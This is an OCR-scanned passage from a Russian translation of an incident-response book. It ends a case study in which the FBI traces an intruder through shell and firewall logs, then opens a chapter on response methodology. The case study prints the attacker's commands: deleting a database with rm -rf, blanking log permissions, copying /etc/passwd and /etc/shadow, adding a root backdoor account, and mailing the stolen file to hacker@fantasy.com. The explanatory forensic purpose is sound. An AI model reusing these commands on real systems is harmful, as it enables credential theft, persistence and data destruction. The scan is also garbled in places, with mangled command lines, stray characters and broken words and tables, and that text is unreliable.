65) sed s/netinet/V'home/brucer/. .hello"/ ss.,c.
66) exit
Атакующий вышел из оболочки bash, которую ранее запустил.
67) ps  aux|more
68) ps  ax
69) ps  aef|more
70) ls
71) cd ..hello
72) ls
73) pwd
74) ftp 31.27.11.7
75) mv ss.c ss 1.3
76) cd ss 1.3
77) ./configure
78) make
79) make install
В строке 79 видно, что атакующему удалось удачно скомпилировать про-
грамму анализатор. Однако он вряд ли сможет ее запустить, пока учетная
запись "brucer" не получит привилегий административного уровня. Атакую-
щему потребуется право административного уровня для "включения" сете-
вой карты Ethernet и перехвата сетевого трафика.
80) make  I
81) ls
82) uname  a
83) whereis ifconfig
84) ifconfig  a
85) /ifconfig ethl
86) /sbin/ifconfig  h
87) ifconfig  h
88) which ifconfig
89) /usr/sbin/ifconfig  h
В строках 83 --- 89 атакующий включил режим записи. Итак, после анали-
за примерно 10 тыс. страниц компьютерных журналов вторжений, так и
нельзя сказать, кому потребовалось 7 попыток для запуска стандартной
команды "ifconfig". Свидетельствует ли это о недостатке квалификации или
о врожденной лени? Сама эта команда выводит сведения о конфигурации
интерфейса (interface configuration) сетевого адаптера системы.

Конкретный пример: Свои и чужие
9
90)cd/
91) Is
92) rm  rf rd
В строке 92 атакующий ввел команду удаления rm, которая стерла дан-
ные компании ABC. Именно эта команда привела к нарушению работы сис-
темы.
93) W
94) man wall
95) wall hello I have just hacked into your system... have a nice day
В строке 95 атакующий попытался послать сообщение (wall = write all) для
всех текущих пользователей системы. Это типичное оскорбление взломанной
системы, которое обычно сопровождается большими неприятностями.
96) whereis wall
97) /usr/sbin/wall
98) exit
Необходимо отметить, что законный владелец учетной записи "brucer"
не имеет никакого отношения к показанному файлу журнала. Это было до-
казано в ходе дальнейшего расследования. Законный владелец учетной за-
писи "brucer" не использовал в системе UNIX команду shell. Поэтому следо-
ватели предположили, что все записи в журнале регистрации для учетной
записи "brucer" были следствием деятельности атакующего.
ВНИМАНИЕ Общественный защитник Фернандеса не предпринял никаких попы-
ток опровергнуть сведения из журналов регистрации и другие мате-
риалы, предоставленные ФБР. Достоверность файлов журналов
компании жертвы никогда не вызывает никаких вопросов.
После анализа файла журнала и явного доказательства удаления базы
данных, сотрудники ABC изъяли жесткий диск взломанной системы и про-
-ели восстановление из последнего архива. Были потеряны данные о сдел-
ках (точнее транзакциях) за целый день, что в финансовом плане оценива-
ется я в сумму $60 --- 100 тыс. Компания ABC сразу же направила отчет об
инциденте в ФБР.
ВНИМАНИЕ Поскольку взломанная компьютерная система ABC использовалась
для поддержки финансовых операций между штатами, она является
"безопасным компьютером", согласно законодательному акту USC
1030(e)(2). Следовательно, любое повреждение системы компании
ABC, выражающееся в ущербе для целостности или доступности
данных, программ, систем или информации, приводит к исчисле-
нию финансовых потерь на сумму не менее $5 тыс. и попадает под
действие акта Computer Fraud and Abuse Act (Акт компьютерного об-
мана и мошенничества) за номером 18 U.S.C. 1030.
Расследованием инцидента занялось отделение С 37, New York Computer
Crime Squad (Отделение компьютерных преступлений Нью Йорка). В отделе
нии С 37 было 14 агентов, занимающихся компьютерными преступлениями.

10
Глава 1
Они подготовлены к исследованию компьютерных журналов регистрации и
выявлению личностей, использующих сетевые средства для незаконных дей-
ствий. Большая часть агентов прошли двухнедельные курсы и прекрасно ос-
ведомлены о способах взлома компьютерных систем, а также способны за-
глянуть далеко за пределы файлов журналов. Поэтому агенты ФБР быстро
провели расследование и нашли виновного.
Анализ в ABC журналов брандмауэра показал, что владелец учетной за-
писи "brucer" не связан с несколькими примечательными строками в этих
журналах. Ниже приведен фрагмент данного журнала, в котором показано
подключение по учетной записи "brucer". Именно это соединение привело
к формированию файла журнала для атакующего, взломавшего систему ABC.
1) Sep 3 18:26:39 firewall in.telnetd[16382]: connect from 31.27.11.7
2) Sep 3 18:26:45 firewall login: LOGIN ON 1 BY BRUCER FROM 31.27.11.7
3) Sep 3 18:33:42 firewall in.telnetd[16390]: connect from 31.27.11.7
4) Sep 3 18:33:47 firewall login: LOGIN ON 1 BY BRUCER FROM 31.27.11.7
5) Sep 3 18:40:54 firewall in.telnetd[16399]: connect from 31.27.11.7
6) Sep 3 18:40:59 firewall login: LOGIN ON 1 BY BRUCER FROM 31.27.11.7
В этом журнале виден IP адрес источника, использованный атакую-
щим, --- 31.27.11.7. Этот IP адрес знаком инженерам ABC, поскольку принад-
лежит основному инвестору этой компании --- New York City Ventures. Пе-
ред ФБР встала еще одна задача --- определить, с какого адреса атакующий
подключился к 31.27.11.7. Т.е. нужно было исследовать журналы регистра-
ции на 31.27.11.7, чтобы найти нужный IP адрес, ведь было бы наивно пола-
гать, что атакующий действовал из системы 31.27.11.7. Агенты ФБР дол-
жны были найти IP адрес источника атаки (который не обязательно
должен быть адресом самого атакующего), а также адрес e mail. Данные ад-
реса выявили бы настоящего виновника инцидента. На рис. 1.1 в графиче-
ском виде дается последовательность принятия решений.
Сотрудники ABC исследовали сервер компании New York City Ventures
(31.27.11.7). Они обнаружили, что атакующий изменил один из файлов за-
пуска системы. Это был файл сценариев rс.local системы UNIX, который во
многом похож на пакетный файл autoexec.bat в старых системах DOS. В
файле обнаружились три интересные строки, содержащие команды, испол-
няемые при каждом запуске системы.
1) chmod 0 /root/.bash_history
2) chmod 0 /var/log/*
3) chmod 0 /usr/local/psionic/portsentry/*
В строках 1 --- 3 атакующий меняет файловые полномочия на журнал,
что делает файл журнала нечитаемым, не записываемым и не исполняемым
никем другим, кроме пользователя с правом администратора.
4) touch /tmp/admin
5) chmod 0 /tmp/admin
6) ifconfig  a » /tmp/admin
7) ps aux » /tmp/admin
8) cat /etc/passwd » /tmp/admin
9) cat /etc/shadow » /tmp/admin

Конкретный пример: Свои и чужие
11
ABC
Атакующий вошел в систему
по учетной записи Brucer
Атакующий не изменял файл журнала
Удалена база данных
Пересылка файла пароля по e mail Найти человека, использовавшего адрес badboy@fantasy.com
Найти IP адрес источника, с которого выполнена атака
Рис. 1.1. Текущее состояние расследования
В строке 4 атакующий создает файл /tmp/admin, а в строках 6 и 7 за-
полняет его результатами выполнения команд ps и ifconfig. Команда ps
(process status, статус процесса) перечисляет все текущие исполняемые в сис-
теме процессы, a ifconfig показывает конфигурацию интерфейсных карт. В
строках 8 и 9 атакующий добавляет /etc/passwd и etc/shadow в файл
/tmp/admin.
10) echo bsmith:$1$/tORJ9wOSqB1RuRacPJEmApvh1kLLB:0:0::/:/bin/bash »
/etc/passwd
11) echo bsmith:x:0:0::/:/bin/bash » /etc/shadow
В строках 10 и 11 атакующий создает в системе учетную запись "bsmith".
Пароль зашифрован по алгоритму MD5 (что отмечено $1 в начале строки).
12) mail  s startup hacker@fantasy.com < /tmp/admin
В строке 12 атакующий пересылает файл /tmp/admin пo e mail на адрес
"hacker@fantasy.com". В файле /tmp/admin содержатся учетные записи по-
льзователей, шифрованные пароли, результат выполнения команды ps
(список всех текущих процессов в системе) и результат выполнения коман-
ды ifconfig (состояние всех сетевых карт). Наверное, атакующий запустил
команду ps, чтобы выявить процессы, которые продолжает исполнять систе-
ма жертва. Атакующий использовал ifconfig для выявления интерфейсов в
привилегированном режиме (promiscuous mode, режим приема всех сете-
вых пакетов вне зависимости от адреса источника) и незаконного перехвата
графика.

12
Глава 1
13) rm  f /tmp/admin
В строке 13 атакующий удаляет собственный файл /tmp/admin.
14) chmod 744 /var/log/*
15) chmod 744 /usr/local/psionic/portsentry/*
16) echo uptime » "/.bash_history
17) echo du .
 m » "/.bash_history
18) echo w »  /.bash_history
На основе данных из файла rc.local из компании New York City Ventures и
файла журнала из системы ABC агенты ФБР идентифицировали преступни-
ка. В частности, стало понятно, что он пользуется почтовыми адресами "bad
boy@fantasy.com" и "hacker@fantasy.com". Запрос whois по "fantasy.com" пока-
зал владельца домена "freemail.com". Агент ФБР провел общепринятое
обращение по телефону, оговоренное пунктом 2703(f), что предполагает за-
прос к freemail.com на сохранение данных о трансляции адресов, а также со-
держимого переписки по e mail (хотя это и не предполагает дополнительной
регистрации всех данных). Первоначально запросы по пункту 2703d служи-
ли для раскрытия анонимности IP адресов за определенный интервал време-
ни. Обычно не предполагается извлечение содержимого файлов, но в дан-
ном случае агентам ФБР было необходимо получить доступ ко всем
почтовым сообщениям, принятым и отправленным по двум адресам e mail,
что допускается судебным постановлением 2703. На рис. 1.2 представлено
состояние расследования на этом этапе.
Догадки на текущий момент
Ответ должен дать файл журнала на freemail.com !

Конкретный пример: Свои и чужие
13
ВНИМАНИЕ После устного обращения к freemail.com, ФБР в течение 48 часов
предоставило подписанное и оформленное в установленном поряд-
ке судебное постановление. На этот момент из freemail.com уже
были получены подробные данные и журналы регистрации. 12 го
сентября 2000 года ФБР запросило судебное постановление в юри-
дическом отделе суда Southern District of New York U.S, а уже 14 сен-
тября предоставило постановление 2703d в freemail.com. Таким
образом, в течение 8 дней расследования инцидента судебное по-
становление стало основанием для раскрытия анонимности.
Информация, полученная по судебному постановлению
18 U.S.C. параграф 2703 Court Order
ФБР получила IP адрес источника для системы, имеющей почтовые адреса
"hacker@fantasy.com" и "badboy@fantasy.com", а также почтовые сообще-
ния, сгенерированные сценарием /etc/rc.local компьютера компании New
York City Ventures. Вспомним наиболее важную строку из этого файла:
mail  s startup hacker@fantasy.com < /tmp/admin
Файл /etc/passwd вместе с другой системной информацией пересылает-
ся по e mail на адрес hacker@fantasy.com. Абонентом адреса "badboy@fanta
sy.com" был Джефф Вулд (Jeff Wylde). Однако это оказалось не настоящее
имя, поскольку ФБР выяснило, что Джеффа ёёёёёёёёёёёёёёёёёёёёВулда не существует.
Сведения об абонентах показали, что адрес "hacker@fantasy.com" при-
надлежит Карлосу Фернандесу (Carlos Fernandez). ФБР сразу выяснило, что
это реальный человек, который стал главным подозреваемым. Теперь при
расследовании надо было выяснить, принадлежит ли Фернандесу учетная
запись "badboy@fantasy.com". Для этого ФБР затребовало файл журналов у
freemail.com. Сравнение IP адресов, выделявшихся почтовым учетным за-
писям "badboy" и "hacker" показало, что в обоих случаях доступ происходил
из одного исходного IP адреса.
Были запрошены данные о телефонных разговорах Фернандеса. Они
показали, что Фернандес из своего дома подключался по телефонной ли-
нии в то же самое время, когда в журнале брандмауэра компании ABC неза-
конно использовалась учетная запись "brucer". Сходство по времени между
телефонными соединениями и журналом брандмауэра было абсолютным ---
Фернандес начинал звонок за минуту до атаки и повесил трубку сразу после
ее завершения, причем во всех трех случаях вторжений!
ФБР передало собранные данные в компании ABC и New York City Ven-
tures. Дальнейшее расследование выявило еще один интересный факт.
Президент компании New York City Ventures хорошо знал Фернандеса, ко-
торый настраивал в организации систему безопасности. Именно во время
работы в компании Фернандес и получил право административного досту-
па. Возможно, он сохранил это право за собой! Президент NYC Ventures
также сообщил, что Фернандес хотел получить небольшой кредит для от-
крытия собственной консалтинговой компании, которая должна была за-
няться предотвращением атак и тестированием на ВОЗМОЖНОСТЬ вторжения
в компьютерные сис темы

14
Глава 1
На основе собранных фактов ФБР получило ордер на обыск в доме Фер-
нандеса, поскольку:
Фернандес работал в компании NYC Ventures и сохранил право досту-
па к системе.
Телефонные подключения Фернандеса совпадали по времени с атака-
ми на сервер ABC по учетной записи "brucer".
В полученных от freemail.com почтовых сообщениях Фернандеса на
адреса "hacker@fantasy.com" и "badboy@fantasy.com" содержались дан-
ные, похищенные из ABC и NYC Ventures.
Учетная запись "hacker@freemail.com" была зарегистрирована на фа-
милию Фернандес.
Фернандесу было предъявлено обвинение, и в его доме проведен обыск.
В частности, на домашний компьютер был наложен арест для проведения
судебной экспертизы. К моменту слушания дела в суде найдена еще одна ве-
ская улика. Агенты ФБР восстановили на домашнем компьютере Фернанде-
са журнал работы программы анализатора. В нем сохранились подключе-
ния к и из системы ABC. Из журнала удалось извлечь имя пользователя и
пароль для учетной записи атакующего, использовавшиеся для доступа по
FTP к серверу ABC для загрузки программ. Помощник судьи (AUSA, Assis-
tant U.S. Attorney) Южного округа Нью Йорка (Southern District of New
York) отметил, что совпали пароли для учетной записи "hacker" и доступа
по протоколу FTP к системе жертве. Фернандес использовал один и тот же
пароль для домашней учетной записи ("hacker") и для доступа по протоколу
FTP. Это очень веская улика, учитывая длину и сложность пароля. Поэтому
сделано заключение, что атакующим был именно Фернандес!
На основе рассмотренных в этой главе улик, а также других улик, кото-
рые не описывались, федеральный суд Манхеттена признал Фернандеса ви-
новным в компьютерном хакерстве и электронном подслушивании. В част-
ности, Фернандесу предъявили обвинение по пунктам 18 USC 2511 и 18 USC
1030 федерального закона. Устанавливавшаяся Фернандесом программа ана-
лизатор не была обнаружена, но журналы анализатора из компьютера Фер-
нандеса и журнал из freemail.com доказывали, что он нарушил закон по пунк-
ту 18 USC 2511. К настоящему времени приговор суда вступил в силу.
ИТОГИ
Приведенные истории показывают, как организуется преследование жертв
и как сила закона может быть использована для определения атакующего.
Показано также, каким образом взаимодействие компаний и правоохрани
тельных органов может привести к фантастическим результатам за сравни
тельно короткое время. Фернандес был обнаружен в течение десяти дней <
начала расследования инцидента. Примечательно, что приговор суда пре-
дусматривает возмещение ущерба компании ABC, вызванного вторжением,

ГЛАВА 2
Введение в реагирование
на компьютерные
инциденты

16
Глава 2
Что понимать под реагированием или реакцией на компьютерные инциден-
ты (incident response)} Чтобы дать определение этому термину, нужно разобрать-
ся со словом "инцидент". Инцидентами называются события, прерывающие
нормальную операционную процедуру и приводящие к некоторой кризис-
ной ситуации. В частности, инцидентами являются вторжения в компьютер-
ные системы, атаки отказа в обслуживании, кража информации и другие
неавторизированные или незаконные действия, на которые должен реаги-
ровать персонал подразделения компьютерной безопасности, системный ад-
министратор или исследователь компьютерных преступлений. Всех этих
людей (и подразделения) мы будем называть исследователями (investigator).
Для инцидентов характерны стрессовые условия, а также ограничения
по времени и ресурсам. Серьезные инциденты затрагивают критические ре-
сурсы системы. Кроме того, не существует двух идентичных инцидентов, на
которые можно реагировать одинаково. В этой главе будут рассматриваться
способы реагирования на инциденты. Кроме того, будет предложена форма-
лизованная процедура для практических действий в ответ на инцидент.
ЦЕЛИ РЕАГИРОВАНИЯ НА ИНЦИДЕНТ
В предлагаемой методологии реагирования на инцидент мы ориентируемся
на профессионалов в области компьютерной безопасности, но не собираемся
исключить из обсуждения и официальных представителей государствен-
ных органов. Поэтому методология реагирования на инцидент предназна-
чена для решения следующих задач:
Подтверждение или опровержение самого факта инцидента
Сбор достоверной информации об инциденте
Контроль за правильностью обнаружения и сбора фактов
Защита гражданских прав, установленных законом и политикой безопас-
ности
Минимизация влияния на бизнес и сетевые операции
Формирование гражданских и уголовных исков к нарушителям
Создание точного отчета и полезных рекомендаций для будущих реак-
ций на инциденты
Чтобы решить все эти задачи, предлагается гибкая методология, в кото-
рую вошли реальные реакции на инциденты различного типа.
МЕЕТОДОЛОГИЯ РЕАКЦИИ НА ИНЦИДЕНТ
Компьютерные инциденты часто приводят к сложным и многофакторным
проблемам. Как и любая другая сложная техническая проблема, реакция на
инциденты может рассматриваться как черный ящик. Проблемы деля к я
на составные части, затем исследуется входная и выходили информации

Введение в реагирование на компьютерные инциденты
17
каждого компонента. Поэтому предложенная методология реакции на ин-
циденты состоит из следующих процедур:
Подготовка к инциденту Действия, которые позволяют подготови-
ться к возможным инцидентам.
Выявление инцидентов Исследование подозрительных инциден-
тов в системе безопасности.
Первоначальная реакция Проведение первоначального расследо-
вания. Получение наиболее очевидных фактов (включая свидетель-
ские показания) и подтверждение самого факта инцидента.
Формирование стратегии реакции на инцидент На основе собран-
ных фактов определяется наиболее эффективная реакция на инцидент,
которая утверждается руководством компании.
Дублирование (судебное резервное копирование) Создание материа-
лов для предоставления в судебные инстанции для расследования ин-
цидента или получения дополнительных фактов.
Исследование Проведение подробного изучения того, что произош-
ло, кто это сделал и как можно предотвратить подобные инциденты
в будущем.
Реализация мер безопасности Активное воздействие на пострадав-
шую систему, предполагающее проведение мероприятий безопасности
для изоляции и устранения последствий инцидента.
Сетевой мониторинг Исследование операций в сети для изучения и
защиты пострадавших сетевых устройств.
Восстановление Возобновление нормального операционного со-
стояния пострадавшей системы.
Отчет Точное документирование всех подробностей расследования
и применение мероприятий безопасности.
Завершение работы Анализ предпринятых действий, изучение по-
лученного опыта и устранение всех выявленных проблем.
На рис. 2.1 показана диаграмма методологии реакции на инцидент.
Ниже в общих чертах обсуждаются все этапы данного процесса, а в осталь-
ной части книги излагаются цели и задачи.
ПОДГОТОВКА К ИНЦИДЕНТУ
Компьютерные инциденты являются случайными, т.е. исследователи зара-
нее' не знают, когда произойдет очередной инцидент в системе безопасно
сти. Более того, исследователи вообще не могут получить управление и не
имеют доступ к компьютеру, пока на нем не произойдет инцидент. Однако
как и с научным прогнозированием землетрясений или ураганов, мы точно
знаем, что инцидент может произойти. И это поможет хорошо подготови
ться и к очередному инциденту.

18
Глава 2
Рис. 2.1. Реакция на инцидент

Введение в реагирование на компьютерные инциденты
19
При подготовке к инциденту предполагается не только получение про-
граммных инструментов и технологий, но и некоторые действия в системе и
сети для предварительной подготовки к реакции на инцидент. Если исследо-
ватели могут хоть немного контролировать компьютеры и сеть, то можно
предпринять разнообразные предварительные действия, которые помогут
ускорить реакцию после возникновения инцидента. Например, можно усо-
вершенствовать процедуру входа на хосты и в сети, а также регулярно про-
водить резервное копирование.
Вне зависимости от полномочий доступа к потенциальным жертвам ин-
цидентов (т.е. к хостам и сетям), необходимо заранее распределить роли
между членами команды реакции на инцидент, а также подготовить обору-
дование и программные средства для этой реакции. Подробная подготовка
к инцидентам рассматривается в главе 3.
ВЫЯВЛЕНИЕ ИНЦИДЕНТОВ
Выявление является первым этапом реакции на инциденты. Перед выявле-
нием исследователь должен быть уведомлен о возможности инцидента. Для
этого служат определенные каналы, позволяющие получить информацию
еще до начала исследования инцидента. Процесс выявления инцидентов
показан на рис. 2.2.
Рис. 2.2. Процесс выявления инцидента
НАГЛЯДНЫЙ ПРИМЕР
Не совсем правильно говорить, что нельзя предугадать, когда произой-
дет следующий инцидент. Можно обратиться к публикациям о вторжени-
ях в операционные системы и приложения. Раньше команда быстрого
реагирования на компьютерные инциденты (CERT, Compuiei Emergen
су Response Team) отмечала сотни событий, причем поныне всего в лет |
ние месяцы.

20
Глава 2
Предполагаемый инцидент может быть обнаружен различными техни-
ческими и организационными средствами. К техническим средствам отно-
сятся системы обнаружения вторжений (IDS, intrusion detection systems) и
брандмауэры (firewall), которые формируют сообщения об аварийных со-
бытиях в сети. В процессе своей обычной работы администраторы и поль-
зователи могут заметить необычные операции по использованию учетных
записей или ресурсов. Посетители вполне могут уведомить о неправильном
функционировании службы или исковерканном Web сайте.
Вне зависимости от метода выявления инцидента, необходимо записать
все полученные сведения. Предполагается пользоваться списком уведомле-
ний (notification checklist), который позволяет не упустить важные подроб-
ности и факты. Список уведомлений должен содержать все необходимые
подробности, хотя не все данные могут использоваться для уведомления.
Однако необходимо зафиксировать очевидные факты, к которым относятся:
Текущие дата и время
Кто или что уведомил об инциденте
Природа инцидента
Как произошел инцидент
Участвовавшее в инциденте оборудование и программное обеспечение
Контактная информация лиц, обнаруживших инцидент
НАГЛЯДНЫЙ ПРИМЕР
Уведомление об инциденте может быть получено разными путями. Не-
сколько лет назад мы уведомили одного из клиентов об инциденте, обна-
руженном во время проведения теста на вторжение. Клиент нанял нас
проверить системы безопасности для обращений из Интернета. Когда
мы успешно проникли из Интернета на тестируемый хост UNIX, то об-
наружили, что были не первыми. На хосте уже работала программа ана-
лизатор, собиравшая имена пользователей и пароли для какого то хакера
из Интернета!
Подробные примеры выявления инцидентов рассматриваются в главе 3.
Заполнив список уведомлений, следует привлечь команду реагирования
на инцидент и обратиться в соответствующее подразделение компании.
Команда реагирования на инцидент уже сформирована на фазе подготовки
к инциденту, поэтому на основе полученного списка уведомлений начинает
следующую фазу процесса --- первоначальную реакцию на инцидент.
ПЕРВ0НАЧАЛЬНАЯ РЕАКЦИЯ
В этот момент уже сформирована команда реагирования на инцидент, ко
торой сообщили о предполагаемом инциденте. Команда реагирования

Введение в реагирование на компьютерные инциденты
21
должна проверить сопутствующие факты и детали данного события. Факты
об инциденте являются ключевой информацией для выбора командой реа-
гирования ответной реакции и методов восстановления после инцидента.
На рис. 2.3 показан процесс первоначальной реакции на инцидент.
г
, ' '"
,/'
i Подготовленная
/
команда реагирования /
Рис. 2.3. Первоначальная реакция
Команда реагирования обязана проверить сам факт инцидента, выявить
системы, на который прямо или косвенно влияет инцидент, и оценить по-
тенциальное влияние инцидента на бизнес компании. Команда реагирова-
ния должна проверить достаточное количество показаний об инциденте,
чтобы предпринять соответствующие ответные действия. Возможно, по-
требуется начать мониторинг сети только для того, чтобы подтвердить сам
факт инцидента. Возникает вопрос: "Сколько потребуется данных, чтобы
сформулировать общую стратегию реакции на инцидент?". Ответ на этот
вопрос зависит от многих факторов.
Например, после искажения общедоступного Web сайта компании вы
можете сразу внести этот сайт в список искаженных хакерами сайтов по ад-
ресу http://www.attrition.org! С другой стороны, если анализ предполагае-
мого инцидента может быть связан с использованием малознакомого лабо-
раторного оборудования, необходимо провести подробное исследование
(включая мониторинг сети и изучение хостов).
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
Искаженные Web сайты (с образами искажений):
http://www.attrition.org/mirror/attrition/
В конце фазы первоначальной реакции надо знать, произошел ли реально
инцидент, на какие системы он повлиял, каков его тип и влияние на бизнес
компании. На основе этой информации можно принять правильное решение
о реакции на инцидент.
Полностью фаза первоначальной реакции рассмотрена в главе 4. В тре
тьей части этой книги обсуждаются ислледования определенных систем,

22
Глава 2
причем фаза первоначальной реакции в среде Windows NT/2000 рассмат-
ривается в главе 9, в системе UNIX --- в главе 11.
ФОРМИРОВАНИЕ СТРАТЕГИИ РЕАКЦИИ НА ИНЦИДЕНТ
Необходимо выбрать оптимальные методы реакции на инцидент. Такая
стратегия должна учитывать технические и организационные аспекты, и в
обязательном порядке должна быть утверждена руководством компании.
Выбранная стратегия реакции на инцидент непосредственно влияет на со-
трудников, акционеров и клиентов компании (см. рис. 2.4).
Рис. 2.4. Формирование стратегии реакции на инцидент
Выбор стратегии
Выбранная стратегия реакции на инцидент зависит от особенности атаки
на систему, а также от характеристик пострадавшей компании. При выборе
стратегии необходимо оценить следующие аспекты: сколько ресурсов по-
требуется для реакции на инцидент, где создавать дублирующие данные
для судебных органов. Кроме того, надо знать:
Насколько критическими были воздействия на системы
Важность измененной или украденной информации
Возможный виновник инцидента
Стали ли сведения об инциденте достоянием общественности
Уровень доступа, полученный атакующим
Предполагаемая квалификация атакующего
Приемлемые времена выключения системы или отключения от нее
пользователей
Общий ущерб от инцидента в денежном выражении
Инциденты бывают разными, от проникновения вирусов до кражи инфор-
мации о кредитных карточках клиентов. Типичный вирус обычно приводит к
некоторому простою и прекращению обслуживания, но кража данных о
кредитных карточках может привести к краху компанию, занимающуюся
электронной коммерцией. Соответственно, различаются и стратегии реак-
ции на инциденты. Реакцией на проникновение вируса станет обычное

Введение в реагирование на компьютерные инциденты
23
восстановление нормальной работы, но реакция на похищение данных о кре-
дитных карточках подобна реакции на пожар или наводнение --- этот инцидент
приведет к участию в реакции подразделения по связям с общественностью,
главы компании и привлечению всех доступных технических ресурсов.
Подробности об инциденте, полученные на фазе первоначальной реакции,
станут основой при выборе стратегии окончательного устранения инцидента.
Например, атака отказа в обслуживании из университетской сети потребует
совсем иной стратегии, чем такая же атака, инициированная конкурирую-
щей компанией. Перед выбором стратегии реакции на инцидент требуется
еще раз проанализировать все имеющиеся данные об этом событии.
Кроме того, следует учитывать факторы, не связанные с самим инциден-
том. По большей части, к таким факторам относятся имеющиеся в компании
финансовые и технические ресурсы, политические соображения, действую-
щее законодательство и состояние бизнеса (см. главу 3).
Вы получили некоторые сведения об атаке и доступных ресурсах для
устранения ее последствий, теперь надо выбрать наиболее эффективную
стратегию реакции на инцидент. В таблице 2.1 рассматриваются некото-
рые ситуации и приемлемые для них стратегии, а также последствия инци-
дентов. Не трудно увидеть, что стратегия реакции на инцидент зависит от
последствий самого инцидента.
Таблица 2.1. Типичные стратегии для реакции на инцидент
Инцидент
Атака отказа
в обслуживании
Неавторизованное
использование
Вандализм
Пример
инцидента
Атака TFNDDoS
Использование
офисного компьютера
для просмотра
порнографических
Web сайтов.
Искажение
Web сайта
Стратегия реакции
на инцидент
Изменение конфигурации
маршрутизатора для сниже-
ния рисков от перегрузки.
Идентификация атакующего
может потребовать привлече-
ния стольких ресурсов,
что иногда вызывает
существенные затраты.
Выполнение судебного
дублирования, расследо
вание инцидента и беседа
с подозреваемым.
Сетевой мониторинг,
восстановление сайта
и исследование его
в интерактивном режиме.
Решение о поиске
злоумышленника можег быть
связано с судебным иском.
Вероятные последствия
инцидента
Эффект от атаки можно
устранить за счет
реализации контрмер
в маршрутизаторе.
Выявление нарушителя
и применение к нему мер
административного характера.
Мера наказания может
зависеть от должности
сотрудника или нарушений
правил компании в прошлом.
Восстановление рабочего
состояния Web сайта

24
Глава 2
Таблица 2.1. Типичные стратегии для реакции на инцидент (продолжение)
Кража
информации
Валом
компьютера
Похищение из базы
данных компании све-
дении о клиентах и их
кредитных
карточках.
Удаленный
административный до-
ступ
Обращение в полицию,
выполнение судебного
дублирования, проведение
расследования и контакты
с государственными
службами.
Мониторинг операций
атакующего, изоляция
взломанной системы,
определение границ
неавторизованного доступа,
усиление безопасности
и восстановление системы.
Решение зависит от того,
будет ли проводиться поиск
нарушителя.
Судебный иск
к злоумышленникам.
Отключение системы
на некоторое время.
Выявленная уязвимость
системы позволит
идентифицировать
и исправить недостатки
в системе безопасности.
Предоставление руководству нескольких стратегий
реакции на инцидент
Как отмечалось выше, при выборе стратегии реакции на инцидент учиты-
ваются бизнес цели компании. Стратегия должна быть утверждена на уров-
не высшего административного руководства. Следовательно, в описании
стратегии можно не прибегать к специальной технической терминологии,
но точно отразить все "за" и "против" для каждого из предложенных вари-
антов стратегии, включая следующие показатели:
Время отключения сети
Время отключения пользователей
Обязательства компании по законодательным нормам
Общественное мнение
Наличие кражи интеллектуальной собственности
Все эти аспекты рассматриваются в главе 4.
СУДЕБНОЕ ДУБЛИРОВАНИЕ
Инцидент является основанием для выполнения судебного дублирования (ре-
зервного копирования для предоставления данных в органы правопорядка)
поврежденных систем. Такое дублирование предполагает использование
специализированного программного обеспечения, позволяющего сформи-
ровать "наилучшее копирование" материалов события. Обычно такое дуб-
лирование проводится для инцидентов, нанесших существенный ущерб, и
является основанием для уголовного преследования злоумышленников.

Введение в реагирование на компьютерные инциденты
25
Однако американские корпорации и судебные органы имеют разные
взгляды на судебное дублирование. Органы правопорядка обычно предпо-
читают точное побитовое копирование систем (как систем жертв, так и си-
стем, использованных атакующими), либо просто проводят полное изъя-
тие всей документации. Но частные компании предпочитают иной метод
судебного дублирования, поскольку полное копирование (и последующее
исследование) всех дисков и документации занимает слишком много времени.
Альтернативой судебному дублированию может стать некий отчет о ре-
акции на инцидент. Если известно местоположение файлов и, кто, когда,
где и как использовал их во время инцидента, то возможно выборочное
предоставление в судебные органы только относящихся к делу данных.
Если собраны только определенные и относящиеся к инциденту файлы и
не проводится полное судебное дублирование, необходимо позаботиться о
сохранении исходного состояния этих файлов, чтобы никто, случайно или
с умыслом, не смог модифицировать информацию, предоставляемую орга-
нам правопорядка. Именно в этом поможет программное обеспечение для
шифрования и отслеживания версий.
НАГЛЯДНЫЙ ПРИМЕР
Хотя выбор стратегии для реакции на инцидент кажется интуитивно по-
нятным процессом и даже тривиальным, окончательное решение становит-
ся неким "Рубиконом" для компании. Как и любое важное решение, очень
трудно сформулировать причины выбора определенной стратегии.
ВНИМАНИЕ Отличия исследования судебного дубля системы от отчета об инци-
денте похожи на отличия в работе врачей "скорой помощи" и патоло-
гоанатомов. Людям уже не нужно торопиться и можно расслабиться,
когда приходится иметь дело с судебным дублем, а не с работающей
системой.
В главе 5 подробно рассматривается судебное дублирование жестких ди-
сков и других носителей, а также предлагаются некоторые рекомендации
по сохранению исходного состояния события, документации и материалов
об инциденте.
Важность исследования фактов
Многие компании, расследующие инциденты, не вполне осознают уровень
тщательности сбора фактов об инциденте. Однако фаза судебного дублирова-
нии требует повышенного внимания, поскольку возникает сомнение в необхо
ДИКОСТИ копирования данных по юридическим или административным при
чипам. Даже специалисты из государственных учреждений делают больше
всего ошибок и погрешностей во время выполнения судебного дублирова
ния, чем на остальных фазах расследования. Без подготовки к сбору необхо
димых данных и материалов об инциденте) компании могут сделать весьма

26
Глава 2
серьезные ошибки на последующих фазах. Надеемся, что книга поможет
избежать любых ошибок и недоразумений при выполнении судебного дуб-
лирования.
ИССЛЕДОВАНИЕ
На фазе исследования инцидента нужно определить, кто, как, когда, где и
зачем проводил действия, приведшие к инциденту. Исследование можно
проводить по результатам судебного дублирования, изучения работающей
системы или по отчетам из сетевого монитора. Вне зависимости от способа
выполнения исследования вы реагируете на инцидент, спровоцированный
людьми.
Виновник инцидента преследует цели разрушения, кражи, доступа, сокры-
тия или атаки по отношению к некоторому информационному ресурсу. Поэто-
му на фазе исследования нужно ответить на вопрос, какие ресурсы подверглись
воздействию людей. Однако не все компьютерные преступления попадают под
действие такой упрощенной формулировки. Идентификация человека в сеги
весьма сложная задача. Злоумышленники в киберпространстве используют
различные способы для сокрытия своего истинного лица. Однако обнаруже-
ние человека, исказившего Web сайт, может быть такой сложной задачей,
что компания просто откажется от ее выполнения.
Поскольку идентификация нарушителя редко связана с искаженным
или разрушенным ресурсом, многие компании полностью сосредоточива-
ют все усилия только на подвергшихся нападению ресурсах и способах их
восстановления. Сбор информации о таких ресурсах становится главной
целью фазы исследования (см. рис. 2.5). Следовательно, главной целью
фазы исследования инцидента (как это будет показано в третьей части на-
шей книги) становится использование специальных методов расследова-
ния инцидентов, связанных с различными системами и приложениями.
Рис. 2.5. Исследование инцидента

Введение в реагирование на компьютерные инциденты
27
